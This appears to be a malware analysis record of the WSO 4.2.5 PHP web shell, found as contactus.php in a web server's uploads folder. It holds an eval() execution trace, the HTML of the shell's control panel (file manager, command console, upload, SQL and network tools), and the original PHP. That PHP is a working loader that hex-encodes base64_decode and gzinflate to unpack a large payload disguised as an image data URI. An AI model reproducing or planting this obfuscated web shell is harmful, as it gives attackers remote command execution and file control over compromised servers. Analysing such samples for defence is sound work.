4	221	0	0.019756	1039880	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'prepend.php'
4	221	1	0.019770	1039952
4	221	R			'prepend.php'
4	222	0	0.019783	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'prepend.php'
4	222	1	0.019796	1040016
4	222	R			'prepend.php'
4	223	0	0.019809	1039944	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'prepend.php'
4	223	1	0.019822	1040016
4	223	R			'prepend.php'
4	224	0	0.019835	1040104	urlencode	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	686	1	'prepend.php'
4	224	1	0.019848	1040176
4	224	R			'prepend.php'
3		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	687	$l = 0
4	225	0	0.019874	1039432	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	691	1	'/var/www/html/uploads/'
4	225	1	0.019888	1039624
4	225	R			'/var/www/html/uploads/'
4	226	0	0.019904	1039432	class_exists	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	694	1	'ZipArchive'
4	226	1	0.019919	1039472
4	226	R			FALSE
4	227	0	0.019933	1039432	wsoFooter	1		/var/www/html/uploads/contactus.php(1) : eval()'d code	703	0
5	228	0	0.019946	1039432	is_writable	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	278	1	'/var/www/html/uploads/'
5	228	1	0.019967	1039472
5	228	R			TRUE
4		A						/var/www/html/uploads/contactus.php(1) : eval()'d code	278	$is_writable = ' <font color=\'lime\'>(Writeable)</font>'
5	229	0	0.019994	1039432	htmlspecialchars	0		/var/www/html/uploads/contactus.php(1) : eval()'d code	283	1	'/var/www/html/uploads/'
5	229	1	0.020008	1039624
5	229	R			'/var/www/html/uploads/'
4	227	1	0.020027	1039432
3	32	1	0.020037	1031432
			0.020069	949888
TRACE END   [2023-02-12 20:50:45.113209]


Generated HTML code

<html><head><meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"><title>localhost - WSO 4.2.5</title> 
<style> 
    body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} 
    #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;} 
    body,td,th    {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;} 
    table.info    {color:#C3C3C3;} 
    table#toolsTbl {background-color: #060A10;} 
    span,h1,a    {color:#fff !important;} 
    span        {font-weight:bolder;} 
    h1            {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;} 
    div.content    {padding:5px;margin-left:5px;background-color:#060a10;} 
    a            {text-decoration:none;} 
    a:hover        {text-decoration:underline;} 
    .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;} 
    .tooltip:hover::after {opacity:1;visibility:visible;} 
    .ml1        {border:1px solid #202832;padding:5px;margin:0;overflow:auto;} 
    .bigarea    {min-width:100%;max-width:100%;height:400px;} 
    input, textarea, select    {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;} 
    label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;} 
    form        {margin:0px;} 
    #toolsTbl   {text-align:center;} 
    #fak        {background:none;} 
    #fak td     {padding:5px 0 0 0;} 
    iframe      {border:1px solid #060a10;} 
    .toolsInp   {width:300px} 
    .main th    {text-align:left;background-color:#202832;} 
    .main tr:hover{background-color:#2e6e9c;} 
    .main td, th{vertical-align:middle;} 
    input[type='submit']{background-color:#2E6E9C;} 
    input[type='button']{background-color:#2E6E9C;} 
    input[type='submit']:hover{background-color:#56AD15;} 
    input[type='button']:hover{background-color:#56AD15;} 
    .l1            {background-color:#202832;} 
    pre            {font:9pt Courier New;} 
</style> 
<script>
    var c_ = '/var/www/html/';
    var a_ = 'FilesMan'
    var charset_ = 'Windows-1251';
    var p1_ = '';
    var p2_ = '';
    var p3_ = '';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('/alwso.php', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
</head><body><div style="position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;"> 
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="p3">
<input type="hidden" name="charset">
</form><table class="info" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><td width="1"><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 <span>Safe mode:</span> <font color="lime"><b>OFF</b></font> <a href="#" onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> 2023-02-12 16:31:03<br>216.08 GB <span>Free:</span> 194.58 GB (90%)<br><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)">/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)">var/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)">www/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)">html/</a> <font color="#25ff00">drwxrwxrwx</font> <a href="#" onclick="g('FilesMan','/var/www/html','','','')">[ home ]</a><br></td><td width="1" align="right"><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset"><option value="UTF-8">UTF-8</option><option value="Windows-1251" selected="">Windows-1251</option><option value="KOI8-R">KOI8-R</option><option value="KOI8-U">KOI8-U</option><option value="cp866">cp866</option></optgroup></select><br><span>Server IP:</span><br>::1<br><span>Client IP:</span><br>::1</nobr></td></tr></tbody></table><table style="background-color:#2E6E9C" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><th width="14%">[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th width="14%">[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th width="14%">[ <a href="#" onclick="g('MailTest',null,'','','')">Mail Test</a> ]</th><th width="14%">[ <a href="#" onclick="g('Console',null,'','','')">Console</a> ]</th><th width="14%">[ <a href="#" onclick="g('Sql',null,'','','')">Sql Interface</a> ]</th><th width="14%">[ <a href="#" onclick="g('Network',null,'','','')">Network</a> ]</th><th width="14%">[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></tbody></table><div style="margin:5"><h1>File manager</h1><div class="content"><script>p1_=p2_=p3_="";</script><script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name="files" method="post"></form><tbody><tr><th width="13px"><input type="checkbox" onclick="sa()" class="chkbx"></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_name_0&quot;)">Name</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_size_0&quot;)">Size</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_modify_0&quot;)">Modify</a></th><th>Owner/Group</th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_perms_0&quot;)">Permissions</a></th><th>Actions</th></tr><tr><td><input type="checkbox" name="f[]" value="." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/.');"><b>[ . ]</b></a></td><td>dir</td><td>2023-02-12 16:31:02</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'.','chmod')"><font color="#25ff00">drwxrwxrwx</font></a></td><td><a href="#" onclick="g('FilesTools',null,'.', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'.', 'touch')">T</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value=".." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2023-02-12 16:31:02</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'..','chmod')"><font color="#25ff00">drwxrwxrwx</font></a></td><td><a href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr><td><input type="checkbox" name="f[]" value="alwso.php" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'alwso.php', 'view')">alwso.php</a></td><td>23.13 KB</td><td>2023-02-12 16:31:02</td><td>osboxes/osboxes</td><td><a href="#" onclick="g('FilesTools',null,'alwso.php','chmod')"><font color="white">-rw-rw-r--</font></a></td><td><a href="#" onclick="g('FilesTools',null,'alwso.php', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'alwso.php', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'alwso.php', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'alwso.php', 'download')">D</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'view')">beneri.se_malware_analysis</a></td><td>0 B</td><td>2023-02-12 16:31:02</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis','chmod')"><font color="white">-rw-r--r--</font></a></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a></td></tr><tr><td colspan="7">
	<input type="hidden" name="a" value="FilesMan">
	<input type="hidden" name="c" value="/var/www/html/">
	<input type="hidden" name="charset" value="Windows-1251">
	<select name="p1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete">Delete</option><option value="tar">Compress (tar.gz)</option></select>&nbsp;<input type="submit" value=">>"></td></tr></tbody></table></div>
</div>
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%"> 
	<tbody><tr>
		<td><form onsubmit="g(null,this.c.value,&quot;&quot;);return false;"><span>Change dir:</span><br><input class="toolsInp" type="text" name="c" value="/var/www/html/"><input type="submit" value=">>"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type="text" name="f"><input type="submit" value=">>"></form></td>
	</tr><tr>
		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color="lime">(Writeable)</font><br><input class="toolsInp" type="text" name="d"><input type="submit" value=">>"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color="lime">(Writeable)</font><br><input class="toolsInp" type="text" name="f"><input type="submit" value=">>"></form></td>
	</tr><tr>
		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type="text" name="c" value=""><input type="submit" value=">>"></form></td>
		<td><form method="post" enctype="multipart/form-data">
		<input type="hidden" name="a" value="FilesMAn">
		<input type="hidden" name="c" value="/var/www/html/">
		<input type="hidden" name="p1" value="uploadFile">
		<input type="hidden" name="charset" value="Windows-1251">
		<span>Upload file:</span> <font color="lime">(Writeable)</font><br><input class="toolsInp" type="file" name="f"><input type="submit" value=">>"></form><br></td>
	</tr></tbody></table></div><div id="particles-js"><canvas class="particles-js-canvas-el" width="1846" height="100" style="width: 100%; height: 100%;"></canvas></div><script src="http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script> 
    <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script> 
    </body></html>

Original PHP code

<?php function pre_term_name($b){$a = str_replace(array('%','#'),array('/','+'),$b);$b = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$c = $b($a);$k = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";return @$k($c);}$z = '<img src="data:image/png;5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4UWgvtOTk4OoTmmRu1Zm0TyYPuGUGRiTVy#t2%Zl5kh92R3y9TKx8MZ1POGZ9OjsIocPzQtcKxHZZLNEQE8yCwo1kwZU7Y5eMm857xcQTcftlMIcAuFmAtloe5%fDB7cMHpe77o5NT4IhM%ZQhurfU3T06#v1gLxeOZwHk7UPVmnnovfVGzrRMDRg4dtnYAiZhluuMpp0#sIIdbG8NvWDCJnY09gYd3wuj7S1n6s8iFt34dse3wnDuBQM2tSb8F%Ndq2#PPRcYIs4OoxvX7pg9q385CpAnVmkStuZjB7p64l3a7R7A2UGr4V#z0HOdAftpOBy2vVnkwqi1pt7UbpsssP#aOYE9SBARznowyJwEc3KDlZrsynJn8JPnmYoAXglhyxDz0#Zja9DYbItfWH1%FoTw3fcc7Iy2ub21hv0Bf6Cjto1kf2Kv21Hf8y6hK0uXMLZXamKLATgrXV7A#JSu#JBlwBGfJjKsWTTuYnvUbINMJ0Te50N%ZlJrLyrsl19YeTLYzKR3oDYNjZqICWJ5wcRcfw1YoHxVLw3yjNPAyiuSCtGuYgxAw3%#w5aCZCsFxMacKjoIuDuCUZqD0IERhl%l96%fd49OqvXqeoUabcydqVGBueOhKDXhF4hj2w1tlTR1rlFCl0JraHcnIAghkUTLCEWLShXiYSWG43RxiRXYvhdEznREMgaWBCe0QO52JVOECaSZXEReGnsgqPrzAYICGHwr8zqTI91HofvwwfP#eOAEiVTAkVec2inaTlNcrwn6DInHyVo2zs9xyViDfxQIip7SYlAOReOB388AzrWn9L2y2qDRhIWmIvDU6JdYEpfmHlyKcNGltidm0jJlgPhyz%PcSmYR53QkegjoBMlnhXa89oJYN946YcRegtDpR15wY7DONjNgAIwqkfPA2IcVnzm47Nb8sQ%fGAiNAIQnQygJztZCtjZna70YNInh1743HTqjX5dDokMrPCdjb85wD3NlM8if2pzHePGpHYWRFbFVa5osEMymU#BfkEXBldO3Y3AYdyuIFPAHAADsfRCYkQaE24Ykwr43AdFsBxrQlWPPAQh6c#f4PTvFOcAzrcAHinjWwXu2S62aBRYSziEcnzeVrVmuazx8UFGzODNYQIEYLtVpbshW3bGowMWsIezsmBXB6tgDIkMGcttib53pDJYdG6oawBYlsmGMBhw0vAkjeyKxYUG2emVRiwFliA32fHsK4CgIsp3N%sNGMHnYqsOwflv2Pn4MP%Cgx0Ps6Wgmyvohs2bXnGLkDJ4qKxwir4QzRyTTzzW2iusgG7JV34bFerW#Ua%XoeFhplQuZ1FubUkkozuqbhaVou4M70NALirODTVn2ifezyUFdwJpwCyOXxcUPjcEzLmRV3KpVixENA#cCKcBG9JOCcZ8KnooSRXvimamG4rLL6StCJ2Y%DV%XjC61BgdqqD0PUZ5IcraOKLN4yJyYpjckvclpQBdD7bQ3TFMXSX984lJwBViuDdRxWiHsNaPJ5bjBv1FdOlgReXvTVUSKYpdr29FdlJWuZTGxlHkD2o4DYQUzSRz6cyTr8Zwxgiz4Hq6Dg8idJiLP5GRKBHe9EAoZAto6Tr85CYLK9N0OGswcaZSKGUTddD#cBRLr1RaAg7qyALKxDQkSLuBFWVgRXIOdB5mJ58KLknzoDE5H7oIfyySs%TzbVpRST07W%rXnCIJMD5m8eCYlGAmYZQIVECQkoIJ%3JTMJCSgkkKMAUok1PQWSmjSuhZqVKTG6i3oFgiL1UuIzpUKS0nWQZPy7PkoIgkHWowmyRhKCE5X52r1DyFBNrXJTQTr7lKic4tsFOXOjRx6OEKN34gepBJxRP2q7dHL3benpyZKSWdeQEHm5Hr9SwXTjB40offzO6PPWZsjaOJu72F2qztrYkdWSSkVlHncNUxYXMK27do9RQkoYnshb86ZgT7xTUs2Gaiio4BAjNLVI0Z5vZW5ESuvc0hcg4vCMVW8XTOEEboqljN2FrjJdnDLdJlwBfcQva8wQ37nlVl1B%Xdxp1IIn%tBv4vzabWAEco1uQMQT6W1MvmEA%%Lb5M9sJHMutste2e2VHTt#qstCahquwPjvDNrtlfWt6ZYXfYWEI4SR402I9GL%LNruyAwR3V0lrBMleFHmT9i0n7yffwmxYXFa%hd%nziAat1ijXv#5zca2MxpH9Mu%brNMExi2wcI2aFnOxBrZLTYL3LIJZ2c9CzbZtgX4pp74msgNnb#hXN8DchPpvhc6yHIttln%Gf#TlGPHVqNBNRrjr#%UXY26H7HIgiOyVbWovwDdwJpa1bivqm9nfWdgsRNIaavuTvVS5PmyHtrFgUgcelSPGK%ddfxfAuanCA6y4WnPzRluJsdbFAh9a1odN6qWjnM4HLIVZ4LHFGsa6aDyPEKtXJ3zgenRxlKCjRtM#3znerRV1x5Grc1YY9fce7z3dLftW4MBHClbTciB3DbvvA3ovI#8v3J0b416Y7PRVz0GpUTNA#eqJiYbVS2RI2IOrcjIQSt4SOCyEo3Ambs6gEMfP29yraCEbI2RVwphoQo7QM2kLFDD4Ykcv9WyhnD41QcJqXi8%lIpFvf399uiRS06ipZhfbZWBYKKbBUwSWt1E3tCzjk#5WQHPIbebWC24mGrB#MAp9r2lRM6Pcd1opvW2BkM7GmGSmqdotXzrT4CN%SS9NWNGzhxFQ98zyprm%Xmk%VmOzs6wP1Y19D15i1rFnkKX88ZWYHNWRQ2SatcOpBwmFjX#k8hKjbqGluQ%rfKcFwQC4gr27X7nEVUxZomN8sagmJdJUyM#hT4dNebBQ70zKE9T6qgRe2u1bPdVs8eeoGNE4wPpmm2A6IUhBaOXr0tGvEbSjjRCvqhM4fsucwoCq3zqn2FVhlef5IVBDWkopdDk51BseSQjMylENfwK6ihdRmPb0yf3myCiQYsPRFZHf#nhmYY4CGhiFOSU5I4MjyY#gjMu2sdx1lxnQWnEiGENdpxyhePabJwwLk9Z5Vs2o%tp%0U#AC4avw9JbEnMI3iuUDMd0bGB2lhuMhDz8VhTqHeDFbJ6T0LyZoKm7P5eOdlY3NRfUsWrbkpcX9HR6PVSIfPnUcAu7Um9y5bYT9w%Gibil9ZAet3USePex7cS4W#3Yf1lTZP5Xgv14d9M#l3DbOtSlrFJZ%LXZhFxQwzro5vy5YoGu81EUFcrd9Qhctoj4D5GxfyG#ZF1TifGpWVTmdouaFdeWaarWzTdPi9w9PuHx#OTvdOKum6movqat6zrubiutYX1bV#z7rWF9aF1oWB159NQBK1NTsrGgesar%qN6p#s#qvV8UgcEsrHAeslc505rqVQW0yrFk1buyz2qgZZsm0bpuX6Osl#iK3r5VQabKE39CL#A2R7ze0QlqqKtZMFGtKgKZeLE5VxdYTxdYlwLpeLE5VzeIdk2gcT5LN4b%0hubld7mlWY3AaEH%F44O0kRVcElVrqSQWj#KlPjSglWFDHdov#mgC4aJebD4lZ1Ove1sUdWwC0BuCmuuPR1F47bz6BGeER#I4o#g%C%mowTomXNRQ7XWI7NjPrKnfW9gfzg#2PVgqzyF%HIGmHqOCAuDMs0UWApjW7s81h3v%fFh7#S0C8iE9KiKVqQ7BtDAkUblCi5n5Tl5k9Q#v3v7Gg6ix3AQtcOImhPYf0FXTO05S2ZSnz#gwdYQ7JBR6PNR7xtskVLlE3ll853TD7zQG0ZUKxxMde8NRAklddcP%EBSzZvCLmxwg5YMOExb0xGaU4V9A2jbpaR2tphvT8smCgvoHOoDHNhKFhBYQTSRawZYOXkgrwJf#L4LSzb26BrsH#fzVdwYrc7QKomDmnBEifFOB2U1KjLnNjk#6XaUlSCi%qhR00#w6WhO3Kgw6mPIphrIuIMZzXqdF#QcHdgjMQbH9mjv2i#fG#Vz#AweVcpn#OUE%wkvfq2gzdWcmDS2vKwVBB0oX0PvF0FCCOwa2qewRxJwNvBpGQDPmhc1YSWvV7HkWeOiwmFuGbGK5cJup2yKDuam7RWTcyms2WKpFooRPBlvb8GxTDpVZHeumf1CMOpZ5aebVdZoAAmNdfinXluvtLVNPt8w01Gu3jZxi5D2POEeHpOhrFfuhblvCNCn#YTwYw8vYRVn9Yuz%MaCvOaCvPUF1XGZBgDcjcRAI%swsO0TOICR%wG06RITQkzI7HwQPPIiy03Adympu2QR7dcz7Tuc%QAyADFnhYTZH%vdGVJdNgNihdKlHUxtN5VHLgzI6itytnTtayeMwjLxxTU6PtgjB#YeZ33yMxOuCl1hbUCrfMAlVwmNlDx3cgPfRepISx3FqcBiPjryPcOOFLz8XcOiKPDniCsmiDAnUKu8UTBKgI5iUEE6Yj8zsfmkTJS18WT4R6RK6rCGBDivkSePBPjtQ#4m0YWj5iWtcri4lXwLjj4dZl9zTz3ud5EzwtMO2eXLVABTcFUs4bLISs5WabrawC#wFPLuiSuqQe9tWWwc2MOO#ZPJvGkfZOhlxxyBNJJekCB#zg1DLralb4T221an5OBfscAmkRIhZ6VvFzVy#sjUeW5UzG2jJsBgTTXWttYsmhC8K%hMia375ofT%dUnKOYTLpbw#%ejgyerx#rbB%zW9588fsy51vOV7lf1Kx7brf64HFdjhdA%kT0hfXKiCPqtbEEKrgN8y2SYNYKtwdJv1rJK6U6Hsp#ZXCUB607LNCs1c1uV21rjCLfRH#ZBaRK38sTu19jBdOiZnW38QV#r3B8Vk5RjatV8ZzkuOwV5jen4g75XcVkEMWxjqvxaNU%#cgEtHPeHMNcJ918uJB%a0dwLLjFBfpXTWWjcFbMpvyypdZ#cmW#9kTfjCnf5Hbscck5sdwgL3ASOmzwbE475bwKxp7PMaExoGC7ROlC64nUgGI0AzANaLLD3y840qpRh1VgTXD#pQPf#bGyfMcnLxk#G4mUDeNmEvr#qmedmFTfK1XP8pv6pGDg0lzgu1ja72FqLxmJkBgHsjZBtiP3RY0j1hxdiw3T3KtWQgPYIZh86#G%IwkYRogrfMzhhlzy4KK1mts6BAj6FRHXU4KKGqEmJtAPZEssateOMxUnYEmiPyTebZOKAfiSvgT5sVsMOaZ37tusKVU5nnX7hQoK%6qLHcXne3ooC#G8gk7a3UHG8%QHFWmurF2yjexB9eT%26e%rwYD#7s4HLfQ2Luq6ZyZCvaSWt2imoP8W7DoQPwzFYNuU2zJMh99bUw9KIE6xq9HWowpsLGCD0awLLAS6JcBJUEMyKzP#E#U5%q4w3pxXKLJbom4OM0oW4UKdykisWPuVHYQwn8tUq0B2Yg1thv6CCYRaN8QuhhfQCagz4eaaDjq4Hh3iHmEabUOX6HmuM7GhQdtH#%tba71tCVTR#khNgp#SnAMjk#J%ZADBNtAIYgfOM7wFL2FDi17UiQYMILFsflmdrA7Y65bTCsWAid6Yh95Hx56fOH%DXiTeXugdsw%7mwTKRBm1HeJFyib0Gc53pmWtaZh%bdT5YP#sRkRfawCFSTW8t4NJuIt9mKdQKuy05HRD5KqwdJUkq11CoEipcsYQhvepIk5OcmTPLHfLCSa8sEmfLDh#S6i4gT46hSCBNJp5%0RjJxQHVWMb1y%OuaS47hjvLTifiQXL4GQlFz3G1ygqBEzGa6Y2COa2AzSPHLyXA6lmgzr%Gvxvd#fly2PjQvIIL77rOmjPyRbXT8%vjk73qDTvYDmZsdPgH%qGwizVgyTf#AnBKNKuGveRekQWX4hoyOKKtUOQIdTumwauHLdJW%a#50XSll0C6a#ctzpM#5Vhy2cG02e#iVPf3C5%AngbC1TE5DdaSUAUH2W8fSExK0B#wOXGbjiDAPlwFMmsCM6goywGS%YTe%gAuwoWMRLQdHKDvQepgXAvGbOkULPBhhK2gG1xaYI0iehdz5mDqw9gjdS5Q5ypOJ2mtBqY%JCFlgFxxJKe%0uqktEmn71LIHBsb2se%9Cw%PadwzzkcuIUqTK1CTiUuqJEQ88N0dJjOFCT79UPNHR4L7o53xYOUdwE2ltSA8zJJQyByRsyWNyQd9ZlYsB0Lr9Hm3LvdfzLY4Htwi43F7ZFH5QfbMy%P0BqO5#ZTkVt2aPLUT%CXmoe%fD8EJobVANEJts73D398n6vY05maIC2gojKraLp26SCRdobWRlnz53pQujE9E%NdprsC8r6DVl4Bsdta4AVLq5M3PvTqkzf2VDGo2eZJLHVFTTx7TTV##PMRx7r92K#XsBYkgXl2karA61wDg6i5sdjykyuGGRh0O#Y6CnVWlvrD6a1b#HAdp2roDa1ozVVEJLXmrV6ra4loW8kxyd0jNycKI2DCvDNSTlJQZV9jxPM1ndzOpv07AC%USPN1pN61YSBCp3oBlPtKbbKbKF2ucphuug3gID129uqSUunVt5ErwH4mJAXji3fxjzsTMiKAgdWKDpXw%HDu6Q8Wg3NVl2hMn#q0wcx#J57M%KmRGmvGzoDpHoTMsihCZOhE6GIMxmtjZxoPOvVwqsR4BdYYZGtmtyBgH4gxcJpQ6O5XtusmnD4HHgT2VJr6kz09pN8ALJ9G9USDYWlC0OBCCAlvJn2BSBWg55TWh3r96tho84xFONH3wrarCN4eqAGThhZ0z78btb1nhVjo3VCvbYR9xagJU1DBl%c7gHd6HFwTExUIJvpdsHIWry%RYu8WcRPay38CvA92Fj24xajJ4%Vj3L6IvDQNPCZRg6bwX9%Eb9vsRfI04Pu7oghHdgR0Ncl#rjvHdTIPUEw25uSJT%bQkHhKLB6yHjiLFMIF9j#DGhE0MDmQ435txyAqiJUSFFyLFLjpg3EJjaoN#tRbdo87U4BT5OaC6uVM7W6vJGiyko7LQbWuKmBvCtx83qLl7ZYVtNsJPW8Br8NKWzXmido5vbdRZWZybJmpSMN29LKFVuBktrkkg8QiWX3lt3eRSBpl3#QQCq7FIFch51PYOJksnddLjlTfjABppYaOWxERp2PpiapxX9OdicoWsViXDvOyz%%5jnTMroIqCyumM%FifrEaBzMJF4PhCPeOuMK%ucym4jUKgEwMh#4tjUt31EFv8BVUAHP%Efox3Am6up9I5DEGRJ9jAXWdJht3ixAg82Qmx%QEIodagRGJYmJq97nY1jcyyvPh7Y3hEJCY4gQtQ4bogUSUquNenODmuL3XS9E7MLWLPgAC2TOp7HyJYzvGROVDmpX9Zu4JVSGhn4AGcOy8fMM7RHScMoVpCHb7rBG%bf13zYaT4CY#Gq8LGb#3Kg1h3j3PWRrGiiroB7m1QvkQN5TCtvGk83fHi#BiuAYV#i8y0O0FEFICqH4XaGIC5W4UulF9phPGiY#6%gUgu%sF1a%3q2jiqrTkV9LDk60MCYvBt2JQXdiUDcP9EkM#iQGXc0DfRyDPo5Be3mgGzHoRgw6yANtxqDNGLSfB9qIQRsxqC9BGf89I9OAgwytStZJvfeMmYHJWti8Sg5M%QmHmS#C2SCYOOGJQBxSoWvUArdysk8kz